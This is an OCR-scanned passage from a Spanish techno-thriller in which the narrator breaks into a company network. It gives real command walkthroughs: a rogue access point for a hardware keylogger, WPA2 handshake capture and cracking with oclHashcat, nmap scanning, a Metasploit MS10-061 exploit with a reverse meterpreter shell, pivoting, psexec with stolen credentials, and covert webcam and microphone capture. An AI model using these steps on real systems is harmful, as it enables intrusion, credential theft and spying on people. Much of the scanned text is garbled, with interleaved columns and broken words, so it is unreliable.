i ; 20 el rumor apagado de la conversacion. Afiné i
llIatt-. fle esc_uchar, Aunque aquellos dos hablaban en susurros y algunas palabrasnrlrfei} Oldg )
algo amortiguadas, pude comprender la totalidad del siniestro dialogo. s

-L(IQUS dlablos haces ta aqui? —pregunt6 una voz con marcado acento aleman. Haciend
gala de mis dotes deductivas, conclui que se trataba de Eichelberger. - e

'N() 10 eIlCOIltIaIIIOS —IeSpOIldIO/ 61 OtIO. I{eCOIdaba IIlLI'y blen la VO I -

-iEso es intolerable!
-Estamos inspeccionando todo el edificio. No puede andar muy lejos.

-Esto debe acabar de una vez po j
il o por todas. No podemos dejar que escape otra vez. Sabe

-No se preocupe. Lo encontraremos. Descuide.
-Pues ponte con ello de inmediato. Algunos intentamos solucionar este desastre.
-A la orden.

dEslcucéle como la puerta de al lado se abria y volvia a cerrarse. Yo temia que el hombre
d? gado se asomase ahora al despacho donde me escondia, pero sus pasos se perdieron en

1relgcb10n al vestibulo. Esperé casi un minuto antes de asomarme de nuevo al pasillo. Tenia
via libre. .

Me levanté y estiré el traje. Para salir, debia pasar ante el despacho del alemén. La puerta se
encpntraba cerrada, pero a través del cristal podria verme. Tenia que cruzar lo mas rapido
pos;ble y confiar en no llamar su atencién. Inspiré profundamente tres veces y me lancé
hacia el vestibulo. Por el rabillo del ojo volvi a ver al aleman sumido en la lectura. Por
suerte, no levanto la cabeza. -

Llegué a la puerta de las escaleras justo cuando el ascensor mas proximo se abria y dejaba

iihtr'a un hombre 'de pelo y barba oscuras. Habfa visto su fotografia en Linkedin y no me
st6 reconocerlo: Javier Etxeondo. La puerta se cerré a mis espaldas sin que él pudiera

verme.
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Bajé los cuatro pisos ayudado por la gravedad y con el corazén acelerado. Por la
conversacion espiada, sabia que estaban al corriente de mi llegada a Telgroup y que no me
dejarian marchar por las buenas. Mi tinica posibilidad era llegar al vestibulo principal y
alcanzar la calle sin cruzarme con mis perseguidores.

Abri la puerta de la planta baja y me encontré frente a los tornos. {Mierda! Esperaba que
la tarjeta me permitiera salir. De lo contrario, saltaria y correria hacia la salida emulando
a Flash.

Pasé la tarjeta por el lector, esperando que saltaran las alarmas de un momento a otro.
Imaginaba una luz estroboscopica roja, una sirena estridente y varios guardias saltando
sobre mi. Lo que sucedi6 en realidad fue que el torno se abrié y yo lancé un suspiro de
alivio.

Me encaminé hacia las puertas giratorias. A mitad de camino, una voz imperiosa me detuvo
en seco.

-;Sefior Rios! jEspere un momento!

Me tensé como la cuerda de un violin. Tenia la salida a pocos pasos, pero la voz insistia a
mis espaldas. Miré por encima del hombro. La recepcionista me observaba con gesto serio.
Los guardias de seguridad levantaron la vista de sus monitores, intrigados. Yo queria echar
a correr, pero mis pies parecian soldados al suelo.

_No olvide devolver su acreditacion -Esta vez, la chica acompafi6 la advertencia con una
de sus encantadoras sonrisas.

Dejé escapar un gemido de alivio antes de regresar al mostrador y entregar la tarjeta.
-jQué despiste! —me disculpé, con gesto avergonzado-. Por poco me la llevo.

-Gracias por su visita, sefior Rios.
Una vez en el exterior, me tomé unos momentos para disfrutar de la libertad recién
recuperada. El aire parecia mds limpio y la mafiana mas luminosa, pero una cdmara de
seguridad me observaba y eso lo estroped todo.

De pronto, me entraron las prisas por alejarme de alli. Rodeé el edificio hasta la plaza QOnde
Juanjo habia aparcado y vi que estaba vacia. Busque ¢l Mercedes por todo el aparcamiento,
pero mi jefe habia desaparecido.

Iba a llamarle cuando cambié de planes. Enfrente del edificio habia una serie de locales, lo
suficientemente cercanos para servir a mis propositos. Sali caminando del recinto y crucé
la calle. Entré en una cafeteria y tomé asiento junto a la ventana.

La eleccién de mi base de operaciones no fue aleatoria: disponia de conexion Wi-Fi, vision
directa de la entrada de Telgroup y una toma de corriente bajo la silla. Mientras me servian
un capuchino y arrancaba el porttil, llamé a Marcos.

Capindo XXIII: Wp42

TT—
Capitulo XXIII
WPA2

Iba por mi segunda taza de café cuando terminé de configurar el punto de acceso en el

Linux. No me costé demasiado t
X C , ya que lo tenia configurado de ot i i
la tarjeta del portatil lo soportaba. ¢ AR e

Montar el AP dependia de tres piezas distintas de s
’ de software y del hardware adecuado. Est
lo cubria perfectamente el Dell que llevaba de Epica y el resto era cuestion de tunearlo.S )

E:r? compren’der el concepto es mejor pensar en un entorno de red doméstico, donde el
ylogger seria un teléfono mévil con conexién wireless y el portatil haria las funciones de

router ADSL. Mi objetivo era configurar el Ati 1
M v portatil para que el keylo
correos electronicos facilitindole acceso a Internet. e yiogger pudiera mandar

Hostapd”. es la aplicacion encargada de configurar la tarjeta wireless del Dell en modo
masz‘e;.ﬂry simular un punto 'de acceso; ademds, en ella se parametrizan los detalles de la
conexion, como el tipo de cifrado, el nombre y la contrasefia.

En el fichero de configuracién (/etc/hostapd/hostapd.conf) introduje los mismos
datos que tenia puesto el keylogger en la suya: WIFT.TXT.

interface=wlan0

ssid=WLAN 0710

wep_default_ key=0

wep_key0=ABAAC01009

channel=2

hw_mode=g

Elegi ql nombre WLAN_0710 porque es un nombre comin en las ADSL y asi no llamaria
demasiado la atencién.

Una vez se conectase el keylogger al AP, a este se le debia proveer de la configuracion de
red para acceder a Internet y, de esa forma, mandar el correo electrénico, por lo que fue
necesario configurar un servidor DHCP que facilitase esta tarea.

El arc,hivq / etc/dhcp/ dhcepd. conf del servicio dhepd indicaba al que se conectase que
tendria asignada una direccion IP del rango 192.168.2.10-20, el DNS 8.5.8.8 ; yla

puerta de enlace 192.168.2.1, que correspondia a la direccién IP de mi portatil,
subnet 192.168.2.0 netmask 255.255.255.0 {

range 192.168.2.10 192.168.2.20;
option domain-name-servers 8.8.8.8;

EEE

R T
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option routers 192.168.2.1;
option broadcast-address 192.168.2.255;

default-lease-time 600;

max—-lease-time 7200;
Le asigné al interfaz wireless (wlan0) la direccion 192.168.2.1 y arranqué el demonio del
DHCP.

Fle Edt ¥imw Seorch  Terminal  Help e
root@LW520U:—# ifconfig wlan@ 192.168.2.1

root@LW520u:~# dhcpd
Internet Systems Consortium DHCP Server 4.1-ESV-R4

Copyright 2004-2011 Internet Systems Consortium.

ALl rights reservad.
Far info, please visit https://www.isc.org/software/dhcp/

Wrote 2 leases to leases file.
Listening on LPF/wlan0/80:24:d7:c6:4c:30/192.168.2.0/24
Sending on LPF/wlan0/80:24:d7:¢6:4¢:30/192.168.2.06/24
Sending on Sacket/fallbacks/fallback-net
root@Lws28u:—# i

Img 97: Configuracién del interfaz wireless y arranque del servicio DHCP,

Ademas de como punto de acceso, mi portatil debia actuar como un router y mandar todo el
trafico que le llegase por la interfaz wireless a Internet, asi como devolverlo. La conexion a
Internet me la facilitaba el 3G del iPhone, que habia conectado mediante un cable USB, lo

que provocd que se crease una pseudo-tarjeta de red con alias ethl.

Para finalizar, habilité el forwarding en el sistema, encargado de permitir o denegar el
transito de paquetes de una tarjeta a la otra, e introduje los comandos iptables necesarios
para que el firewall de Linux actuase como puerta de enlace.

= e TR TS TR
root@LWs28U:~# echo 1 > /proc/sys/net/ipv4/c0nf/all/forwarding
root@LW52eU:~# iptables -t nat -A POSTROUTING -s 192.168.2.0/24 -0 ethl -j M

SQUERADE
root@LWs20U:~# iptables -A FORWARD -d 192,168.2.8/24 -m state --state ESTABL

SHED,RELATED -1 ethl -j ACCEPT
root@LwW526U: ~# iptables -A FORWARD -s 192.168.2.08/24 -0 ethl -j ACCEPT

root@Lws526U : ~¥
root@lWs2eu: ~#
Img 98: Configuracién del sistema Linux como puerta de enlace.

Ya estaba todo listo. Arranqué el servicio de hostapd y esperé a que hubiese suficiente

informacién para recibir un correo electronico.
root@LW520U: ~

: : Search Terminal Help

root@Lw528U:~# hostapd /etc/hostapd/hostapd.conf

Configuration file: /etc/hostapd/hostapd.conf

Using interface wlan2 with hwaddr 88:02:72:7c:cd:bc and ssid 'WLAN_6718"

Img 99: Arranque del servicio hostapd.

Capitulo XXII: WPA2
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La espera podia 1l
evar un buen rato, asi que me pr
- . 0
Siguiente oo ) q propuse avanzar paralelamente ep el

El objetivo era colarse en la red wirele
: . ss de Tel { i
Etxeondo, etiquetado como W7-0127. s ERERE g RS sl Fuipo de

Enct};lfe 1una segunda ta.rj,eta USB wireless al portétil y la configuré también en mod
monitor, 10 que me permitia almacenar trafico y comenzar un nuevo ataque e

S e

root@LW528U: —+# ifconfig wlanl down
root@LW526U:~# iwconfig wlanl mode monitor
root@LW520U:—# airmon-ng start wlanl

Interface Chipset Driver

wlanl Unknown iwlwifi - [phy@]

(moniter mode enabled on mon@)

root@Lws20u: ~# |

Img 100: Configuracién del interfaz wireless en modo monitor.

Arranqué airodump-ng y busqué la red. Como era d it igi
£ d . e esperar, tenia el original
TELGROUP”, por lo que fue bastante obvio dénde debia colarme. ginal nombre de

CH 4 1[gBAT: 5 hours 46 mins ][ Elapsed: 1 min ]
BSSID PWR Beacons #Data, #/s (H MB ENC CIPHER AUTH ESSID
00:21:63:08:60:55 -1 ] 0 8

121:63:08 :68; 158 -1 :
ggggg:égigijggfgg éé 0 113 8 158 -1 WPa Z{iﬂgiﬂ g:
SCi33:0BPTEMNE 66 123 0 8 B 5de. WPA C(MP PSK WLAN 34CS
40:44:82:A7:88:CD -74 158 73 ? g 23 :Egz &EHF ol
bttt 1] : 1 . P WLAN_35
Bg_gg_gg.;g:g:fjan 78 &7 0 8 B 54e WPA C(CMP  PSK WLAN 3LFG
B0:82:Cr 881 5:1C -79 48 10 8 9 54 . WEP WEP WLAN 67
N E_.Bs-en -B1 74 o} B 11 54 . WEP WEP WLAN_CA
943933;:51;?;-223;? -8a 8y 2 8 3 54 WEP WEP WLAN 38
) -78 26 o B 11 54 WPA TKIF PSK SAGEM
50519:151031?‘94-:;3 -81 42 1 8 6 54 . WEP WEP WLAN EQ
00119: 13100 sA430 :531 32 0 9 1 54 WPA TKIP PSK WLAN A420
50:24:08 £ 1Ba1g0 65 1 8 11 54e WPA TKIP PSK Vodafone892a

:68:8C: AL 0B: -83 14 1 8 3 54 WPA TKIP PSK WLAN E369

Img 101: Biisqueda de redes wireless con airodump-ng.

Apunté el capal yel B$SID, e hice una nueva ejecucion de airodump-ng para que tan solo
guarda_se la qunnacwn referente a esa red en un fichero. Como la red wireless estaba
{)rorte:-glda con cifrado WPA?2, debia capturar el trafico del registro en la wifi de un usuario
egltlmp ¥, una vez lo tuviera, sacar la contraseiia atacando el fichero con una segunda
herramienta llamada cclhashcat-plus. ¢

DI ALY WA it e
e A

et o
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Tardaria 4.6 5 horas en usar un diccionario normal de palabras. Tenia tiempo, pero no tanto
Esto me hizo tomar un atajo y apostar toda mi suerte a una sola carta. '

CH 8 ][ Elapsed: 28 s | fixed channel mon@:

C_reé un fichero de texto llamado “word” y escribi sobre él “telgroup”. A partir de ega
BSSID PUR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID simple palabra, esperaba generar tantas combinaciones como fueran posibles, cambiando
- S8 88 3 B 54 WPA2 COMP PSK TELGR lt;lms miniisculas por mayﬁscuias,_ aﬁadiendo datos al final o al principio, intercalando

simbolos, partiendo la palabra en distintas partes... El nimero de combinaciones posibles
ya formaria millones de nuevas palabras, y eso me daba una oportunidad.,

74:44:01:89:83:30

BSSID STATION PWR Rate Lost Packets Probes

74:44:01:89:83:30 58:55:CA:C1:C1:EA -34 54 -54 22 a5

Tmg 102: airodump con filtro almacenando ¢l trafico en un fichero.

La definicion de estas reglas en Oclhashcat-plus est4 en ficheros con extensién rules.
) El mas completo de todos ellos se llama “d3adOne”, como su autor. En el interior, més de
No hizo falta mucho tiempo. El edificio era grande y parecia que tenia decenas de usuarios. 350.000 combinaciones distintas.

Sentia como me iba acercando. e e

ar el fichero con la captura de trafico utilizando el comando Fle Edt View Search Terminal Help

1ar € _J tocraCk) para que root@LW520U: ~# cudaHashcat-plus64.bin -
rules/d3adone. rule

cudaHashcat-plus v0.09 by atom starting...

El siguiente paso fue limp m 2500 tocrack.hccap word -r

wpacleany convertirlo a HCCAP (aircrack-ng limpio.cap
oclhascat pudiera procesarlo.

|Hashes: 1 total, 1 unique salts, 1 unique digests
Bitmaps: 8 bits, 256 entries, 0x060000ff mask, 1024 bytes
Rules: 35373

Workload: 16 loops, 8 accel

atchdog: Temperature abort trigger set to 96c

Watchdog: Temperature retain trigger set to 8¢

rooteLiW528U; ~# wpaclean limplc.cap dump . cap-01.cap
Pwning dump.cap-01.cap (1/1 160%)
at 74:44:01:89:83:30 TELGROUP

lone Device #1: Quadro 1000M, 2047MB, 1400Mhz, 2MCU
. -1 tocrack : ' ’ ’
root@LWS20U:~# aircrack-ng limpio.cap -J Device #1: Kernel ./kernels/4318/m2506,sm_21.ptx
Opening limpio.cap
Read 3 packets. Scanned dictionary word: 9 bytes, 1 words, 35373 keyspace, starting
# BSSID ESSID Encryption attack...

[}
5 caBauso-aslip o wPA (1 handshaka) TELGROUP: telgroup2012
1 144:01:89:83:
Status,...... : Cracked
Choosing first network as target. Rules.Type...: File (rules/d3ad@ne.rule)
Input.Mode...: File (word)

Opening limpio.cap ash.Target..: TELGROUP (58:55:ca:cl:cl:ea <-> 74:44:01:89:83:30)

Reading packets, please wait.. Tine.Ronning.: 16 secs.
puilding Hashcat (1.08) file... ;’im;Uti‘l. - H 1660%325/7125 ?eal/CPUézg.G;e ig;z
pa TSI LI Cc/S Real, c/s
. : LGROUP Recovered....: 1/1 Digests, 1/1 Salts
(*] ESSID (length: 8): TE Progress.....: 34494/35373 (97.52%)

{*] Key version: 2 j coeaat 15158/344 .
BSSID: 74:44:01:89:83:38 Rejected 5158/34494 (43.94%)

{x} B a5 1 CATC1:C1:EA HwMon.GPU.#1.: -1% Util, 35c Temp, -1% Fan 4
* ' t H K H H -
. Img 104: Herramienta de cracking de contrasefias oclhashcat+.

=] anonce: S
[I(-]13384DB3C41C325333A0CC4C6AEBEGD . . .

6F F9 59 BC E1 24 D2 14 7C D8 BC 91 CA F1 57 €3 jPwned! En 16 segundos sali¢ la contrasefia: “telgroup2012”,

k]
=] snonce: ;. . . , .
= Tme 103: Creacion de un fichero limpio para buscar la contrasefia sobre €. Me parecia increible: en ese mismo fin de semana ya habia COHS@gUIdO entrar en tres redes
mg 103:

a.|a.S. (:Oﬂ ella se a[)I()VeClla la I)()tell(;la del l)l()(:esa(l()l NlIeleSS dlstlntas Cada una de Cl S COn una (:()[]I]g]n‘aciol-l d]fere]GtE
s [a z

i i ent ; : . .
Oclhashcat-plus tiene muchas v la busqueda de contrasefias; ademas, permite probar Solo quedaba subir un peldafio mas para acceder al ordenador de Etxeondo.

GPU de la tarjeta grafica para acel_erar
un diccionario o generar uno mediante reglas.




; Capitulo XXIV: Webcam m

! Capitulo XXTV
Webcam

Estaba tan concentrado en la pantalla que casi salté de la silla cuando adverti que alguien
se habia sentado frente a mi.

-iBu! —se burlé Marcos.

-iDios, Marcos! -Jadeé con alivio cuando vi que era mi amigo quien estaba al otro lado
de la mesa-. ,Es que siempre tienes que aparecer como un maldito fantasma?

-Practico todos los dias para conseguirlo —reconocid-. Pero contigo es demasiado facil.
No hay desafio.

Me sacudi como un perro mojado para quitarme el susto de encima. Mi labor de vigilancia
dejaba bastante que desear. Ni siquiera lo habia visto acercarse. Suerte que en mi otro
cometido tuve mayor éxito y solo tenia que esperar que Etxeondo utilizase su ordenador
para empezar a obtener resultados.

Aparté el portatil a un lado y me incliné sobre la mesa. Hice una sefia a Marcos para que se
acercara a su vez. Queria mantener la conversacion apartada de oidos extrafios, Mi amigo
laded la cabeza y estudi6 el entorno con ojos escrutadores, adoptando de repente un aire
de misterio. ¢

Habia algunas mesas ocupadas, pero la mayoria de los clientes se agolpaban ante la barra
del fondo: grupos de dos o tres trajeados que hacian una pausa de media mafiana para
recargar las pilas con una dosis de buena cafeina.

Cuando Marcos hubo descartado a cada uno de ellos como potenciales amenazas, me pidié
con un gesto mayor proximidad. Me acerqué un poco, pero él seguia llaméndorqe con
la mano. Tuve que levantarme de la silla ¥y apoyarme sobre la mesa hasta conseguir que
nuestras cabezas se juntaran para que le pareciera suficiente. Solo entonces me susurré al
oido:

-¢, Vas a besarme, carifio?
Me aparté y lo miré desconcertado.

-Pareces un espia barato —afiadié-. Haz el favor de sentarte correctamente y actuar con
normalidad. No queremos llamar la atencion, ;verdad?
-Muy gracioso —bufé, con una cara que decia lo contrario. Me dejé caer de nuevo sobre

la silla, molesto por la payasada-. No tengo dnimo para tus chorradas. No sabes Io que
he tenido que hacer para conseguir esto —Sefialé el portatil.

e e e
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-¢ Has robado un ordenador? —pregunto-, jBien hecho!
-;Qué? (No! Este es mio. Merefiero a que ahora podré acceder al disco duro de Etxeondo.

Abri la ventana donde figuraba la contrasefia de la red wireless de Telgroup y le conté la
aventura que me llevd a conseguirla. Marcos encontré mucho més interesante la intrusion
fisica en el despacho que la informética, asi que acabé resumiendo esta ultima con un
escueto “hice magia”.

-iBien hecho! —repitio-. Pero habria sido més sencillo robar ¢l ordenador.

- Estas loco? —ie dije-. ;|No crees que me hubiera resultado complicado salir de alli
cargando una CPU? ;No crees que eso hubiera llamado la atencion de los guardias de
seguridad, por no decir de los tipos que tratan de matarme?

-Mmmm, puede que tengas razén —reconocid, aunque 1o muy convencido.

-Ademas, tengo algo en mente. Es necesario que Exteondo ignore que he estado en su
despacho. Quizas asi podamos sacar algo mas que el contenido de su disco duro.

-¢En qué estas pensando?

-Verss -dije, tratando de ordenar mis ideas-: cuando Etxeondo se siente ante el ordenador,
la primera palabra que escribira serd la contrasefia para abrir la sesion de Windows.
En ese momento sucederdn dos cosas: recibiré la contrasefia por correo y tendre la
seguridad de que se encuentra en el despacho. Entonces, yo también tendré acceso y,
ademds de copiar ficheros de su disco duro, podré utilizar la webcam y el micréfono
para obtener imagen y audio del interior del despacho. Quizds veamos o escuchecmos
algo relacionado con Yolanda.

-{Vaya! Ni el FBI lo hubiera hecho mejor. Claro que ellos necesitan una orden judicial
para estas cosas.

Una llamada entrante hizo vibrar mi iPhone. Era de mi jefe. Me habia olvidado por completo
de él. Al no encontrarlo en el aparcamiento, supuse que se habia cansado de esperar y se
habia marchado para obligarme a volver a la oficina en taxi. No era la primera vez que me
hacia victima de una broma parecida. Ahora se estaria preguntando dénde me habia metido.

iA la mierda! Rechacé la llamada. Ya habria tiempo para dar explicaciones. Tenia que hacer
algo mucho mas importante que justificarme ante el capullo que me habia dejado tirado.

-.Y cémo funciona? —preguntd Marcos-. ;Vamos a ver y escuchar en directo?

-Mi idea es generar un archivo de audio y obtener unas cuantas imagenes con la webcarm
mientras descargo ficheros. Asi podremos estudiarlo todo con mayor detenimiento mas

tarde.
-Quiza deberiamos movernos —dijo, mirando a través de la ventana a la sede de Telgroup-.
Aqui estamos algo expuestos.

zm‘!"’ﬁ

Capitulo XX1V: Webcam

— ' |

N - . = - F
0 es OSIble IJeCesltO estar Ccerca ara ca tal la Senal Wil de 13181 ou haCer que

esto funcione.
-¢De cudnto tiempo estamos hablando?

-Todo depende i

y D de Etxeondo. Una vez mtroduzea la contrasena, todo ir4 sobre ruedas

e « . .
1 €€ momento, como si ese acto estuviera sincronizado co

correo con la primera palabra tecleada por Etxeondo — e Hegnel

~— Backio Inbay Reply - Reply ail Fomeard

Move - Delete Hapor spam o g

==> KeyDemon USB Wi-Fi Report <==

& KeyDemon Wi Fi to rigs {less than one minute aga)

2now detals
Access Foint - WLAN 0710

P (OHCP) : 152,168,211

Gateway -192,168,2.11

Report Range : 0-25600

Hunter

— Back to lnbox - Reply Reply all * Farward — hiove

alats art SoEF =
Dalets | Repart spam i)

I b s —
mg 105: Correo electrénico recibido del keylogger con credenciales de acceso

I{ulltel - el peIIO. Debl habello lnlaglnado p()r laS f()tOS y IOS tl.lltS dOIlde la mascota €ra

Ahora que tenia la contrasefia, tocaba hacer magia de nuevo:

S . . .
a‘l:’grlif;usg)r?éiii{lt que la gran mayoria de d%sposmvos eran tabletas y méviles. También habia
p Y un servidor. La conexién inaldmbrica parecia la tipica red creada para

invitados, que solo dab :
punio, q aba acceso a Internet. No podria acceder al PC de Etxeondo desde ese

Tras ejecutar Nmap para detectar qué direcciones IP habia en la red wifi llegué a la

lSaeSg(l)J; éril(\)/sstlgdarlldo el serviidor para ver cual era su funcién y qué podia ofrecerme. Aumenté
©s del escaneo de puertos, especificando 1 ‘

. s que analizara todos 10s puertos (—o-

) v lanzara sobre ellos los Scripts (-sC) usando un escaneo de tipo conneft (—sT)(PIf)r

los resultados y su nombre “SVRPRIN
. T 2 :
moreson 017, seguramente se trataba de un servidor de

Afo i ' i ic
rtunadamente, tenia una oportunidad més, E] servicio de impresoras de Windows tenia

un fallo (MS10-061) que d
e ) que de ser explotado de forma adecuada, me facilitaria acceso a todos
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< root@ht: -

root@bt:-#
root@bt:~# nmap -sT -p- -sC 192.168.1.14

Starting Nmap 6.81 ( http://nmap.org )

Nmap scan report for 192.168.1.14

Host is up (©.86883s latency).

Not shown: 65531 closed ports

PORT STATE SERVICE

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

1825/tcp open NFS$-or-IIS

Host script results:

| nbstat: NetBIODS name: SVRPRINT81, NetBIOS user: <unknown>, NetBIO
i smb-security-mode:

{ Account that was used for smb scripts: guest

| user-level authentication

| SMB Security: Challenge/response passwords supported
| _ Message signing disabled {dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

| smb-os-discovery:

| 0S: Windows Server 2003 3796 Service Pack 2 (Windows Server 280
3 5.2)

| Computer name: SVRPRINT81

| NetBIOS computer name: SVRPRINT81

| Workgroup: WORKGROUP

Nmap done: 1 IP address (1 host up) scanned in 17.88 seconds '
root@bt:-# z

Img 106: Analisis de puertos abiertos y ejecucion de scripts.

Arranqué la consola de Metasploit y configuré las variables necesarias para lanzar el exploit
contra el servidor remoto: meterpreter como payload (PAYLOAD), la direccién IP de mi
sistema (LHOST), la direccion IP del sistema remoto (RHOST) y €l nombre de la impresora

que compartia (PNAME).

msf > use exploit/windows/smb/ms18_861 spoolss
f exploit(usld 861 _spoolss) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windaws/meterpreter/reverse_tcp
f exploit(msl8_061_spoolss) > set LHOST 192.168.1.7
LHOST => 192.168.1.7
exploit(ms16_861_spoolss) > set RHOST 192.168.1.14
RHOST => 192.168.1.14
exploit(msiB_061_spoolss) > set PNAME HP
PNAME => HP
msf exploit(msl8_861_spoolss) > exploit

[*] Started reverse handler on 192.168.1.7:4444
[*] Trying target wWindows Universal... |
{*] Binding to 12345678—1234—abcd-EF60—01234567893b:1.B@ncacn_np:192.163.1.14[\5;

olss] ... !
‘??I Baind to 12345678-1234-abcd-EF00-8123456789ab: 1.6@ncacn_np:192,168.1.14[\spo
olss] ...
(=] Attempting to exploit M518-861 via \\192.168.1.14\HP ...
rinter handle: BO0BBBEOESC5TcS5e657859c438dd3d048601a4046
[*] Job started: ox7
[¢] Wrote 73862 bytes to %SystemRoot%\system32\keBoDTzwek]Y7P.exe
f*] Job started: 8x8
{*] Wrote 2224 bytes to %SystemRootS\system32\wbem\mof\WKZEIULgjEEYZb.moT

[*] Everything should be set, waiting for a session...
Img 107: Explotacion de vulnerabilidad MS10-061 con Metasploit.

Capitulo XXTV: Webcam

T ——

Cuando aparecio el

Estaba dentro.

Lo unico interesante que ofre

prompt de meterpreter, atin no podi :
parcheary eso habia permitido que la vulnerabilida P i e

—

servidor estaba i
: a sin
d fuese usada en mj beneficio con éxito

t i i
a aquel servidor era una via para acceder a otros sistemas

colindantes. Ejecuté ipconfig para ver la configuracién de red.

> ipconfig

-_—h
Nanie i M5 TCP Loo i

. pback inter
Hardware MAC : 00:00:00:00:60:09 face
MTU : 1520

IPv4 Address : 127.8.9.1
IPv4 Netmask : 255.0.0.0

Interface 196611

Name : Intel(R i
Hardvare WAC ; 96:0c:23:d5:13veq NI Comection #2
MTU : 1580

IPVv4 Address : 172.16.9.3

IPv4 Netmask : 255.255.0.0

Interface 196612

Name : Inte i
Harduare MAC  80:0c:o8:afrazoge T oL Comneetion
MTU : 1586

IPv4 Adfress : 132.168.1.14

IPv4 Netmask : 255.255.255.9

Img 108: Informacién de red del servidor de impresoras.

SVRPRINTO! tenia dos interfaces y estaba en varias redes: 192.168.1 .0/24, que pertenecia

al direccionamiento wireles i
o e s,y 172.16.0.0/16, que aparentemente era el direccionamiento

E ;

! ;1 :;11111)21 momento supuse que, como medida de ahorro de costes, habian ubicado el servidor

e ; para imprimir con independencia de la localizacién del cliente. Esa configuracién
vitaria duplicar la infraestructura, pero esa decision les saldria cara.

Efoorgnp;:si: mentalmente un mapa de req con la arquitectura que habia descubierto, tal y
© lo imaginaba. Por un lado la red wifi y por otro la red principal. El disefio era nc’mnal

salvo por el error de compartir un servid i i
el e oo j?}'_ or que haria las funciones de puerta entre ambos

Des i i i teni
de el servidor de lmpresoras, si tenia acceso al resto de la red. Tan solo t

usarlo para pivotar sobre €l como salto intermedio. endria que
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AP

172.160.20
Ww7-0127

172.160,3
192:168,1 14
Red Wifi
192.168.1.0/24

Red Principal
172.16.0.0/16

Img 109: Suposicion de la contiguracion de la arquitectura de red.

fiadi 1 equipo
Dejé el meterpreter en un segundo plano con background’y arlladl una(iu;fg e?6mg ec[;) p1 °
te d de destino que queria alcanzar .16.0.0),
con el comando route add, lare ¢ : \
mascara (255.255.0.0)y el nimero de la sesién de meterpreter abierta (1).

* raot@ht: ~
g aogdoal T
> background
=1 rounding session 1l... o .
ﬁ!s}_ B:iﬁoit(mslg_eﬁl_spuc'?_ss) > route add 172.16.9.9 255.255.0.8 1
{1 Route added
msf exploit(msi6é 9al speolss) =

Tme 110: Creacion de ruta para acceder a los PC de la oma red.

Como partia de un punto nuevo y desconocia que habi'ftden es;adr;uf:: I}ec:;o?i lp;lé‘.gp?;
recopilar informacion. Localicé los nombres DNS de cada 1_11: e & g n it
especificando que se hiciera una consulta inversa (-xl) y? e
netenfl?:r; 1? 0.0/24). Los ordenadores de los trabajadores se Ldemlt'lcaban1 2)0028{}1) it
E«';:sién d(;l sﬁéte;rla operativo y un nimero. No tardé mucho en aparecer 172.16.0.20,

de W7-0127, el PC de Etxeondo.

meterpreter » run netenum -rl -r 1?%.1@.2.3!24

{1 erpreter Scrip )

T . T‘jtw?‘?l(eEg:??\;azg:egein ?root/.msf4/logs/5crlpts/netgngg/lgz .168.1.14
(1 Pegforming DNS Reverse Lookup for IP range 172.16.0.8/

{1 172.16.8.18 is w7-0125.telgroup.es

i) 172.16.0.15 is w7-8122.telgroup.es

fe] 172.16.8.20 is w7-0127.telgroup.es

=] 172.16.9.17 is w7-8124.telgroup.es

{1 172.16.6.16 is w7-9123.telgroup.es

{3 172.16.0.19 is w7-0126.telgroup.es

[*i 172.16.0.13 is w7-0120.telgroup.es

[~} 19216 9.14 is w7-8121.telgroup.es

[<] 172.16.8.12 is w7-0119.telgroup.es

[+ 172.16.0.23 is w7-8130.telgroup.es

=] 172.16.0.24 is w7-0131.telgroup.es

L 172.16.0.22 is w7-0129.telgroup.es |‘
meterpreter >

Tme 111: Resolucién inversa de direcciones [P a nombres.

Capitulo XXIV: Webcam

— 3

No necesité explotar ninguna vulnerabilidad para acceder a su ordenador,
directamente con la direccion IP, usando las credenciales que habia robado con
Subi un meterpreter con las propias caracteristicas del protocolo SMB (Se
Block) de Windows, especificando el usuario (sMBUse
luego lo ejecuté con el comando psexec.

Me conecté
el keylogger.
rver Message
r) y la contrasefia (sMBPass), y

* root@ht: ~

i Bdit Vizi Termuns Hzip

fast  exploit{esla_vsi_spoclss) > back
mst > use exploit/windows/smb/psexec
Imst  exploit(oszizec) > set RHOST 172.16.6.20
RHﬂST => 172.16.8.20

msf exploit(; J > set LHOST 192.165.1.7
LHOST => 192.168.1.7
msT  exploit{gsaec) » set PAYLOAD windows/metarpreter/bing top
PAYLOAD == windows/meterpreter/bind_tcp B
st exploitigsoxac) > set SMBUser =Txeondo

{sHBUser => etxeondo

mef  exploit{usexsc) » set SMEPass ZombieHuntar

SHMBPass => zZombieHunter

mst  exploitipsexac) » exploit

i*i Started bind handler

i*! Connecting %o the server,..

| Authenticating to 172.16.0.20:445|WORKGROUP as user 'etfxeondo’,.,
1 Uploading payload...

£=] Created \zbZzPNEg.exe. ..

[=| Binding to 367abb81-9844-35f1-ad32-98f03800100
cetl] ...

[*] Bound to 367abb81~9844»35f1—ad32-98f038@61693:2.e@ncacn_np:l72.15.a.20[\svcc
tl] ...

[} obtaining a service manager handle. ..

L*] Creating a new service (zLARVEOL - “MauRsbNgjCvfuoessaQecpIRWarSpn™). .,

L*l Closing service handle. ..

(=] Opening service...

L*} Starting the service...

i(+# Remcving the service...

[*] Closing service handle...

L=] Sending stage (752128 bytes)

[*] Deleting \zbZzPNEq.exe...

[*] Meterpreter session 2 opened (192.168.1.7-152.168.1.14:0 -> 172.16,9.20:4444"

3:2.8@ncacn_np:172.16.90.20[\5v

Ineterpreter -

Img 112: Uso de psexec con metasploit para acceder al sistema de Eixeondo.

Alli estaba una vez mas, descargando documentos, navegando entre ficheros y directorios
y llevandome todo lo que podia. SDD. Sindrome de Didgenes Digital. Cualquier archivo
podia contener pistas, cualquier imagen podia indicarme donde estaba Yolanda, todo valia.

Mientras los ficheros mds pesados se almacenaban en mi portatil, aproveché para listar
las webcams con el comando webcam 1ist y tomar una captura de prueba con webcam_
snap. Era lo tipico, lo que siempre afiadia en los informes de resultados cuando haciamos
un proyecto de test de intrusion por gastar la cofia. Pero, en esta ocasion, en la foto aparecia
Etxeondo sentado, asi que decidi grabar un video y activar el micréfono.

Para grabar las imagenes, me tocé modificar el script de webcam de meterpreter. Este script
era distinto al integrado en el modulo Stdapi y permitia ver en tiempo real lo que la camara
captaba mediante la toma de instantaneas continuada. Pero tenia un problema: la imagen
